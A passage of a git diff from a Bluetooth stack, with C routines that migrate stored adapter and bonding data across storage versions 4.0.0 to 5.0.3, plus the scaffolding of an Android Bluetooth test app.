syslog(LOG_ERR, "adapter info load failed"); + bt_storage_update_properties_free(properties); + return NULL; + } + + return properties; +} + +bt_storage_update_properties_t* bt_storage_load_info_v5_0_3(void) +{ + bt_storage_update_properties_t* properties; + adapter_storage_v5_0_3_t* adapter_info; + int ret, ret1; + + /* load device information */ + properties = bt_storage_load_info_kvdb(BT_STORAGE_VERSION_5_0_3); + if (!properties) { + return NULL; + } + + /* load adapter information */ + adapter_info = (adapter_storage_v5_0_3_t*)(properties->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + ret = property_get_binary(BT_KVDB_ADAPTERINFO_NAME, adapter_info->name, sizeof(adapter_info->name)); + ret1 = property_get_binary(BT_KVDB_ADAPTERINFO_IRK, adapter_info->irk, sizeof(adapter_info->irk)); + adapter_info->class_of_device = property_get_int32(BT_KVDB_ADAPTERINFO_COD, ERROR_ADAPTERINFO_VALUE); + adapter_info->io_capability = property_get_int32(BT_KVDB_ADAPTERINFO_IOCAP, ERROR_ADAPTERINFO_VALUE); + adapter_info->scan_mode = property_get_int32(BT_KVDB_ADAPTERINFO_SCAN, ERROR_ADAPTERINFO_VALUE); + adapter_info->bondable = property_get_int32(BT_KVDB_ADAPTERINFO_BOND, ERROR_ADAPTERINFO_VALUE); + if (ret < 0 || ret1 < 0 || adapter_info->class_of_device == ERROR_ADAPTERINFO_VALUE + || adapter_info->io_capability == ERROR_ADAPTERINFO_VALUE + || adapter_info->scan_mode == ERROR_ADAPTERINFO_VALUE + || adapter_info->bondable == ERROR_ADAPTERINFO_VALUE) { + syslog(LOG_ERR, "adapter info load failed"); + bt_storage_update_properties_free(properties); + return NULL; + } + + return properties; +} + +bt_storage_update_properties_t* bt_storage_update_v4_0_0_to_v5_0_0(bt_storage_update_properties_t* old_storage) +{ + bt_storage_update_properties_t* new_storage; + bt_storage_update_items_t prop_items = { 0 }; + int i; + /* v5_0_0 storage structure */ + adapter_storage_v5_0_0_t* new_adapter; + remote_device_properties_v5_0_0_t* new_btbond; + remote_device_le_properties_v5_0_0_t *new_lebond, *new_whitelist; + /* v4_0_0 storage structure */ + adapter_storage_v4_0_0_t* old_adapter; + remote_device_properties_v4_0_0_t* old_btbond; + remote_device_le_properties_v4_0_0_t *old_lebond, *old_whitelist; + + old_adapter = (adapter_storage_v4_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + old_btbond = (remote_device_properties_v4_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + old_lebond = (remote_device_le_properties_v4_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + old_whitelist = (remote_device_le_properties_v4_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + for (i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; ++i) { + prop_items.items[i] = old_storage->storage_info[i].items; + } + + /* properties init */ + new_storage = bt_storage_update_properties_malloc(BT_STORAGE_VERSION_5_0_0, &prop_items); + if (!new_storage) { + return NULL; + } + + /* transform adapter info */ + new_adapter = (adapter_storage_v5_0_0_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + new_adapter->bondable = old_adapter->bondable; + new_adapter->class_of_device = old_adapter->class_of_device; + new_adapter->io_capability = old_adapter->io_capability; + new_adapter->scan_mode = old_adapter->scan_mode; + strlcpy(new_adapter->name, old_adapter->name, sizeof(new_adapter->name)); + + /* transform btbond info */ + new_btbond = (remote_device_properties_v5_0_0_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + for (i = 0; i < prop_items.items[BT_STORAGE_UPDATE_BTBOND_INFO]; ++i) { + memcpy(&new_btbond->addr, &old_btbond->addr, sizeof(bt_address_t)); + new_btbond->addr_type = old_btbond->addr_type; + strlcpy(new_btbond->name, old_btbond->name, sizeof(new_btbond->name)); + strlcpy(new_btbond->alias, old_btbond->alias, sizeof(new_btbond->alias)); + new_btbond->class_of_device = old_btbond->class_of_device; + memcpy(new_btbond->link_key, old_btbond->link_key, 16); + new_btbond->link_key_type = old_btbond->link_key_type; + new_btbond->device_type = old_btbond->device_type; + new_btbond++; + old_btbond++; + } + + /* transform blebond info */ + if (prop_items.items[BT_STORAGE_UPDATE_BLEBOND_INFO] > 0) { + new_lebond = (remote_device_le_properties_v5_0_0_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + memcpy(new_lebond, old_lebond, old_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value_length); + } + + /* transform whitelist info */ + if (prop_items.items[BT_STORAGE_UPDATE_WHITELIST_INFO] > 0) { + new_whitelist = (remote_device_le_properties_v5_0_0_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + memcpy(new_whitelist, old_whitelist, old_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value_length); + } + + return new_storage; +} + +bt_storage_update_properties_t* bt_storage_update_v5_0_0_to_v5_0_1(bt_storage_update_properties_t* old_storage) +{ + bt_storage_update_properties_t* new_storage; + bt_storage_update_items_t prop_items = { 0 }; + int i; + /* v5_0_1 storage structure */ + adapter_storage_v5_0_1_t* new_adapter; + remote_device_properties_v5_0_1_t* new_btbond; + remote_device_le_properties_v5_0_1_t *new_lebond, *new_whitelist; + /* v5_0_0 storage structure */ + adapter_storage_v5_0_0_t* old_adapter; + remote_device_properties_v5_0_0_t* old_btbond; + remote_device_le_properties_v5_0_0_t *old_lebond, *old_whitelist; + + old_adapter = (adapter_storage_v5_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + old_btbond = (remote_device_properties_v5_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + old_lebond = (remote_device_le_properties_v5_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + old_whitelist = (remote_device_le_properties_v5_0_0_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + for (i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; ++i) { + prop_items.items[i] = old_storage->storage_info[i].items; + } + + /* properties init */ + new_storage = bt_storage_update_properties_malloc(BT_STORAGE_VERSION_5_0_1, &prop_items); + if (!new_storage) { + return NULL; + } + + /* transform adapter info */ + new_adapter = (adapter_storage_v5_0_1_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + memcpy(new_adapter, old_adapter, sizeof(adapter_storage_v5_0_1_t)); + + /* transform btbond info */ + new_btbond = (remote_device_properties_v5_0_1_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + for (i = 0; i < prop_items.items[BT_STORAGE_UPDATE_BTBOND_INFO]; ++i) { + memcpy(new_btbond, old_btbond, sizeof(remote_device_properties_v5_0_0_t)); + memset(new_btbond->uuids, 0, sizeof(new_btbond->uuids)); + new_btbond++; + old_btbond++; + } + + /* transform blebond info */ + if (prop_items.items[BT_STORAGE_UPDATE_BLEBOND_INFO] > 0) { + new_lebond = (remote_device_le_properties_v5_0_1_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + memcpy(new_lebond, old_lebond, old_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value_length); + } + + /* transform whitelist info */ + if (prop_items.items[BT_STORAGE_UPDATE_WHITELIST_INFO] > 0) { + new_whitelist = (remote_device_le_properties_v5_0_1_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + memcpy(new_whitelist, old_whitelist, old_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value_length); + } + + return new_storage; +} + +bt_storage_update_properties_t* bt_storage_update_v5_0_1_to_v5_0_2(bt_storage_update_properties_t* old_storage) +{ + bt_storage_update_properties_t* new_storage; + bt_storage_update_items_t prop_items = { 0 }; + int i; + /* v5_0_1 storage structure */ + adapter_storage_v5_0_2_t* new_adapter; + remote_device_properties_v5_0_2_t* new_btbond; + remote_device_le_properties_v5_0_2_t *new_lebond, *new_whitelist; + /* v5_0_0 storage structure */ + adapter_storage_v5_0_1_t* old_adapter; + remote_device_properties_v5_0_1_t* old_btbond; + remote_device_le_properties_v5_0_1_t *old_lebond, *old_whitelist; + + old_adapter = (adapter_storage_v5_0_1_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + old_btbond = (remote_device_properties_v5_0_1_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + old_lebond = (remote_device_le_properties_v5_0_1_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + old_whitelist = (remote_device_le_properties_v5_0_1_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + for (i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; ++i) { + prop_items.items[i] = old_storage->storage_info[i].items; + } + + /* properties init */ + new_storage = bt_storage_update_properties_malloc(BT_STORAGE_VERSION_5_0_2, &prop_items); + if (!new_storage) { + return NULL; + } + + /* transform adapter info */ + new_adapter = (adapter_storage_v5_0_2_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + new_adapter->bondable = old_adapter->bondable; + new_adapter->class_of_device = old_adapter->class_of_device; + new_adapter->io_capability = old_adapter->io_capability; + new_adapter->scan_mode = old_adapter->scan_mode; + strlcpy(new_adapter->name, old_adapter->name, sizeof(new_adapter->name)); + + /* transform btbond info */ + new_btbond = (remote_device_properties_v5_0_2_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + for (i = 0; i < prop_items.items[BT_STORAGE_UPDATE_BTBOND_INFO]; ++i) { + memcpy(&new_btbond->addr, &old_btbond->addr, sizeof(bt_address_t)); + new_btbond->addr_type = old_btbond->addr_type; + strlcpy(new_btbond->name, old_btbond->name, sizeof(new_btbond->name)); + strlcpy(new_btbond->alias, old_btbond->alias, sizeof(new_btbond->alias)); + new_btbond->class_of_device = old_btbond->class_of_device; + memcpy(new_btbond->link_key, old_btbond->link_key, 16); + new_btbond->link_key_type = old_btbond->link_key_type; + new_btbond->device_type = old_btbond->device_type; + memcpy(new_btbond->uuids, old_btbond->uuids, sizeof(old_btbond->uuids)); + new_btbond++; + old_btbond++; + } + + /* transform blebond info */ + new_lebond = (remote_device_le_properties_v5_0_2_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + for (i = 0; i < prop_items.items[BT_STORAGE_UPDATE_BLEBOND_INFO]; ++i) { + memcpy(&new_lebond->addr, &old_lebond->addr, sizeof(bt_address_t)); + new_lebond->addr_type = old_lebond->addr_type; + new_lebond->device_type = old_lebond->device_type; + memcpy(new_lebond->smp_key, old_lebond->smp_key, 80); + new_lebond++; + old_lebond++; + } + + /* transform whitelist info */ + new_whitelist = (remote_device_le_properties_v5_0_2_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + for (i = 0; i < prop_items.items[BT_STORAGE_UPDATE_WHITELIST_INFO]; ++i) { + memcpy(&new_whitelist->addr, &old_whitelist->addr, sizeof(bt_address_t)); + new_whitelist->addr_type = old_whitelist->addr_type; + new_whitelist->device_type = old_whitelist->device_type; + memcpy(new_whitelist->smp_key, old_whitelist->smp_key, 80); + new_whitelist++; + old_whitelist++; + } + + return new_storage; +} + +bt_storage_update_properties_t* bt_storage_update_v5_0_2_to_v5_0_3(bt_storage_update_properties_t* old_storage) +{ + bt_storage_update_properties_t* new_storage; + bt_storage_update_items_t prop_items = { 0 }; + int i; + /* v5_0_3 storage structure */ + adapter_storage_v5_0_3_t* new_adapter; + remote_device_properties_v5_0_3_t* new_btbond; + remote_device_le_properties_v5_0_3_t *new_lebond, *new_whitelist; + /* v5_0_2 storage structure */ + adapter_storage_v5_0_2_t* old_adapter; + remote_device_properties_v5_0_2_t* old_btbond; + remote_device_le_properties_v5_0_2_t *old_lebond, *old_whitelist; + + old_adapter = (adapter_storage_v5_0_2_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + old_btbond = (remote_device_properties_v5_0_2_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + old_lebond = (remote_device_le_properties_v5_0_2_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + old_whitelist = (remote_device_le_properties_v5_0_2_t*)(old_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + for (i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; ++i) { + prop_items.items[i] = old_storage->storage_info[i].items; + } + + /* properties init */ + new_storage = bt_storage_update_properties_malloc(BT_STORAGE_VERSION_5_0_3, &prop_items); + if (!new_storage) { + return NULL; + } + + /* transform adapter info */ + new_adapter = (adapter_storage_v5_0_3_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + memcpy(new_adapter, old_adapter, sizeof(adapter_storage_v5_0_2_t)); + /* TODO: transform local_irk */ + + /* transform btbond info */ + if (prop_items.items[BT_STORAGE_UPDATE_BTBOND_INFO] > 0) { + new_btbond = (remote_device_properties_v5_0_3_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value); + memcpy(new_btbond, old_btbond, old_storage->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value_length); + } + + /* transform blebond info */ + new_lebond = (remote_device_le_properties_v5_0_3_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value); + for (i = 0; i < prop_items.items[BT_STORAGE_UPDATE_BLEBOND_INFO]; ++i) { + memcpy(new_lebond, old_lebond, sizeof(remote_device_le_properties_v5_0_2_t)); + /* TODO: transform local_csrk */ + new_lebond++; + old_lebond++; + } + + /* transform whitelist info */ + new_whitelist = (remote_device_le_properties_v5_0_3_t*)(new_storage->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value); + for (i = 0; i < prop_items.items[BT_STORAGE_UPDATE_WHITELIST_INFO]; ++i) { + memcpy(new_whitelist, old_whitelist, sizeof(remote_device_le_properties_v5_0_2_t)); + /* TODO: transform local_csrk */ + new_whitelist++; + old_whitelist++; + } + + return new_storage; +} diff --git a/tools/storage_update/storage_version_5.h b/tools/storage_update/storage_version_5.h new file mode 100644 index 0000000000000000000000000000000000000000..ea16e93103e4463cb015199abd94fd1bd4ab988b --- /dev/null +++ b/tools/storage_update/storage_version_5.h @@ -0,0 +1,124 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __STORAGE_VERSION_5_H__ +#define __STORAGE_VERSION_5_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bluetooth_define.h" +#include "storage_version_4.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define BT_NAME_MAX_LEN_5_X 64 + +/**************************************************************************** + * Public Types + ****************************************************************************/ +/* v5_0_0 storage structure */ +typedef struct { + bt_address_t addr; + ble_addr_type_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_remote_device for reasons. + char name[BT_NAME_MAX_LEN_5_X + 1]; + char alias[BT_NAME_MAX_LEN_5_X + 1]; + uint32_t class_of_device; + uint8_t link_key[16]; + bt_link_key_type_t link_key_type; + bt_device_type_t device_type; +} remote_device_properties_v5_0_0_t; + +typedef remote_device_le_properties_v4_0_0_t remote_device_le_properties_v5_0_0_t; + +typedef struct { + char name[BT_NAME_MAX_LEN_5_X + 1]; + uint32_t class_of_device; + uint32_t io_capability; + uint32_t scan_mode; + uint32_t bondable; +} adapter_storage_v5_0_0_t; + +/* v5_0_1 storage structure */ +typedef struct { + bt_address_t addr; + ble_addr_type_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_remote_device for reasons. + char name[BT_NAME_MAX_LEN_5_X + 1]; + char alias[BT_NAME_MAX_LEN_5_X + 1]; + uint32_t class_of_device; + uint8_t link_key[16]; + bt_link_key_type_t link_key_type; + bt_device_type_t device_type; + uint8_t uuids[CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN]; +} remote_device_properties_v5_0_1_t; + +typedef adapter_storage_v5_0_0_t adapter_storage_v5_0_1_t; + +typedef remote_device_le_properties_v5_0_0_t remote_device_le_properties_v5_0_1_t; + +/* v5_0_2 storage structure */ +typedef struct { + bt_address_t addr; + uint8_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_remote_device for reasons. + char name[BT_REM_NAME_MAX_LEN + 1]; + char alias[BT_REM_NAME_MAX_LEN + 1]; + uint8_t link_key_type; + uint8_t device_type; + uint8_t pad[1]; + uint8_t link_key[16]; + uint32_t class_of_device; + uint8_t uuids[CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN]; +} __attribute__((aligned(4))) remote_device_properties_v5_0_2_t; + +typedef struct { + bt_address_t addr; + uint8_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_le_remote_device for reasons. + uint8_t device_type; + uint8_t smp_key[80]; +} __attribute__((aligned(4))) remote_device_le_properties_v5_0_2_t; + +typedef struct { + char name[BT_LOC_NAME_MAX_LEN + 1]; + uint8_t pad[3]; + uint32_t class_of_device; + uint32_t io_capability; + uint32_t scan_mode; + uint32_t bondable; +} __attribute__((aligned(4))) adapter_storage_v5_0_2_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +/* Get diefferent version storage Info */ +bt_storage_update_properties_t* bt_storage_load_info_v5_0_0(void); +bt_storage_update_properties_t* bt_storage_load_info_v5_0_1(void); +bt_storage_update_properties_t* bt_storage_load_info_v5_0_2(void); +bt_storage_update_properties_t* bt_storage_load_info_v5_0_3(void); + +/* update function */ +bt_storage_update_properties_t* bt_storage_update_v4_0_0_to_v5_0_0(bt_storage_update_properties_t* old_storage); +bt_storage_update_properties_t* bt_storage_update_v5_0_0_to_v5_0_1(bt_storage_update_properties_t* old_storage); +bt_storage_update_properties_t* bt_storage_update_v5_0_1_to_v5_0_2(bt_storage_update_properties_t* old_storage); +bt_storage_update_properties_t* bt_storage_update_v5_0_2_to_v5_0_3(bt_storage_update_properties_t* old_storage); + +#endif /* __STORAGE_VERSION_5_H__ */ \ No newline at end of file diff --git a/tools/test_suite/android/.gitignore b/tools/test_suite/android/.gitignore new file mode 100755 index 0000000000000000000000000000000000000000..c7fb9e3e809241bb1248712e98525affcc633553 --- /dev/null +++ b/tools/test_suite/android/.gitignore @@ -0,0 +1,16 @@ +*.iml +.gradle +/local.properties +/.idea/ +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +/build +/captures +.externalNativeBuild +.cxx +local.properties diff --git a/tools/test_suite/android/app/.gitignore b/tools/test_suite/android/app/.gitignore new file mode 100755 index 0000000000000000000000000000000000000000..796b96d1c402326528b4ba3c12ee9d92d0e212e9 --- /dev/null +++ b/tools/test_suite/android/app/.gitignore @@ -0,0 +1 @@ +/build diff --git a/tools/test_suite/android/app/build.gradle b/tools/test_suite/android/app/build.gradle new file mode 100755 index 0000000000000000000000000000000000000000..b84f8ddbafc1058de723744731e13c5f52bc488e --- /dev/null +++ b/tools/test_suite/android/app/build.gradle @@ -0,0 +1,52 @@ +apply plugin: 'com.android.application' + +android { + namespace 'com.openvela.bluetoothtest' + compileSdk 34 + + defaultConfig { + applicationId "com.openvela.bluetoothtest" + minSdk 29 + targetSdk 34 + versionName "1.0" + + testInstrumentationRunner 'androidx.test.runner.AndroidJUnitRunner' + vectorDrawables.useSupportLibrary = true + multiDexEnabled true + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' + } + debug { + jniDebuggable true + } + } + + android.applicationVariants.all { variant -> + variant.outputs.all { + outputFileName = "BluetoothTest_${buildType.name}_v${defaultConfig.versionName}.apk" + } + } +} + +dependencies { + implementation fileTree(include: ['*.jar'], dir: 'libs') + testImplementation 'junit:junit:4.13.2' + androidTestImplementation 'androidx.test.ext:junit:1.2.1' + androidTestImplementation 'androidx.test.espresso:espresso-core:3.6.1' + + implementation project(':core') + implementation 'androidx.appcompat:appcompat:1.6.1' + implementation 'com.google.android.material:material:1.12.0' + implementation "androidx.swiperefreshlayout:swiperefreshlayout:1.1.0" + +} + diff --git a/tools/test_suite/android/app/proguard-rules.pro b/tools/test_suite/android/app/proguard-rules.pro new file mode 100755 index 0000000000000000000000000000000000000000..481bb434814107eb79d7a30b676d344b0df2f8ce --- /dev/null +++ b/tools/test_suite/android/app/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/tools/test_suite/android/app/src/androidTest/java/com/openvela/bluetoothtest/ExampleInstrumentedTest.java b/tools/test_suite/android/app/src/androidTest/java/com/openvela/bluetoothtest/ExampleInstrumentedTest.java new file mode 100755 index 0000000000000000000000000000000000000000..d78645e416fd048252cd0cb5af33918fa6a8cd08 --- /dev/null +++ b/tools/test_suite/android/app/src/androidTest/java/com/openvela/bluetoothtest/ExampleInstrumentedTest.java @@ -0,0 +1,25 @@ +package com.openvela.bluetoothtest; + +import android.content.Context; +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumentation test, which will execute on an Android device. + * + * @see <a href="http://d.android.com/tools/testing">Testing documentation</a> + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() throws Exception { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("com.openvela.bluetoothtest", appContext.getPackageName()); + } +} diff --git a/tools/test_suite/android/app/src/main/AndroidManifest.xml b/tools/test_suite/android/app/src/main/AndroidManifest.xml new file mode 100755 index 0000000000000000000000000000000000000000..5bf85b66bcb7fbdadccea68bce236cd5effe5ba7 --- /dev/null +++ b/tools/test_suite/android/app/src/main/AndroidManifest.xml @@ -0,0 +1,71 @@ +<?xml version="1.0" encoding="utf-8"?> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools"> + + <uses-permission android:name="android.permission.BLUETOOTH" /> + <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> + <uses-permission android:name="android.permission.BLUETOOTH_SCAN" /> + <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE" /> + <uses-permission android:name="android.permission.BLUETOOTH_CONNECT" /> + <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> + <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> + + <application + android:allowBackup="true" + android:dataExtractionRules="@xml/data_extraction_rules" + android:fullBackupContent="@xml/backup_rules" + android:icon="@mipmap/ic_launcher" + android:label="@string/app_name" + android:roundIcon="@mipmap/ic_launcher_round" + android:supportsRtl="true" + android:theme="@style/Theme.BluetoothTest"> + + <activity android:name=".MainActivity" + android:exported="true" + android:windowSoftInputMode="adjustPan"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + <activity + android:name=".LocalAdapter.OnOffActivity" + android:label="@string/bredr_on_off" /> + + <activity + android:name=".bredr.BredrInquiryActivity" + android:label="@string/bredr_inquiry" /> + + <activity + android:name=".bredr.BondActivity" + android:label="@string/bond" /> + + <activity + android:name=".bredr.SppActivity" + android:label="@string/spp" /> + + <activity + android:name=".bredr.BredrL2capActivity" + android:label="@string/bredr_l2cap" /> + + <activity + android:name=".ble.BleScanActivity" + android:label="@string/ble_scan" /> + + <activity + android:name=".ble.BleCentralActivity" + android:label="@string/ble_central" /> + + <activity + android:name=".ble.BlePeripheralActivity" + android:label="@string/ble_peripheral" /> + + <activity + android:name=".ble.BleL2capActivity" + android:label="@string/ble_l2cap" /> + + </application> + +</manifest> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/ic_launcher-velabluetooth.png b/tools/test_suite/android/app/src/main/ic_launcher-velabluetooth.png new file mode 100755 index 0000000000000000000000000000000000000000..64530471abe1015b52e037e27246be32b375d08b Binary files /dev/null and b/tools/test_suite/android/app/src/main/ic_launcher-velabluetooth.png differ diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/LocalAdapter/OnOffActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/LocalAdapter/OnOffActivity.java new file mode 100644 index 0000000000000000000000000000000000000000..6b689e039dc5af3eaeaa42a2ad106813c6de3344 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/LocalAdapter/OnOffActivity.java @@ -0,0 +1,152 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.LocalAdapter; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothManager; +import android.content.Intent; +import android.os.AsyncTask; +import android.os.Bundle; +import android.util.Log; +import android.view.View; +import android.widget.Button; +import android.widget.EditText; +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; +import com.openvela.bluetooth.BluetoothStateObserver; +import com.openvela.bluetooth.callback.BluetoothStateCallback; +import com.openvela.bluetoothtest.MainActivity; +import com.openvela.bluetoothtest.R; + +public class OnOffActivity extends AppCompatActivity { + private final String TAG = OnOffActivity.class.getSimpleName(); + private final int REQUEST_ENABLE_BT = 1; + EditText textNumOfCycles; + EditText textResultDisplay; + private BluetoothStateObserver btStateObserver; + private BluetoothAdapter bluetoothAdapter; + private int timesOfCycles; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_on_off); + listenBluetoothState(); + + BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class); + bluetoothAdapter = bluetoothManager.getAdapter(); + if (bluetoothAdapter == null) { + Log.e(TAG, "onClick: Device doesn't support Bluetooth"); + return; + } + + textNumOfCycles = findViewById(R.id.textNumOfCycles); + textResultDisplay = findViewById(R.id.textResultDisplay); + + Button buttonEnable = findViewById(R.id.button_enable_bluetooth); + buttonEnable.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textNumOfCycles.getText().toString(); + if (str.isEmpty()) + timesOfCycles = 0; + else + timesOfCycles = Integer.parseInt(str); + + Log.d(TAG, "onClick: Enable Bluetooth, timesOfCycles = " + timesOfCycles); + enableBluetooth(); + } + }); + + Button buttonDisable = findViewById(R.id.button_disable_bluetooth); + buttonDisable.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textNumOfCycles.getText().toString(); + if (str.isEmpty()) + timesOfCycles = 0; + else + timesOfCycles = Integer.parseInt(str); + + Log.d(TAG, "onClick: Disable Bluetooth, timesOfCycles = " + timesOfCycles); + new AsyncTask<Void, Void, Void>() { + @Override + protected Void doInBackground(Void... params) { + // Time consuming operation + disableBluetooth(); + return null; + } + @Override + protected void onPostExecute(Void result) { + // Update UI + } + }.execute(); + + } + }); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + btStateObserver.unregisterReceiver(); + } + + private void listenBluetoothState() { + btStateObserver = new BluetoothStateObserver(this); + btStateObserver.registerReceiver(new BluetoothStateCallback() { + @Override + public void onEnabled() { + String str = textResultDisplay.getText().toString(); + str = "\r\nBluetoothAdapter is enabled, timesOfCycles = " + timesOfCycles +str; + textResultDisplay.setText(str); + Log.i(TAG, str); + + // Disable Bluetooth again + if (timesOfCycles > 0) + disableBluetooth(); + } + + @Override + public void onDisabled() { + String str = textResultDisplay.getText().toString(); + str = "\r\nBluetoothAdapter is disabled, timesOfCycles = " + timesOfCycles + str; + textResultDisplay.setText(str); + Log.i(TAG, str); + + // Enable Bluetooth again + if (timesOfCycles > 0) + enableBluetooth(); + + timesOfCycles--; + } + }); + } + + private boolean isBluetoothEnabled() { + BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + return bluetoothAdapter != null && bluetoothAdapter.isEnabled(); + } + + private void enableBluetooth() { + startActivityForResult(new 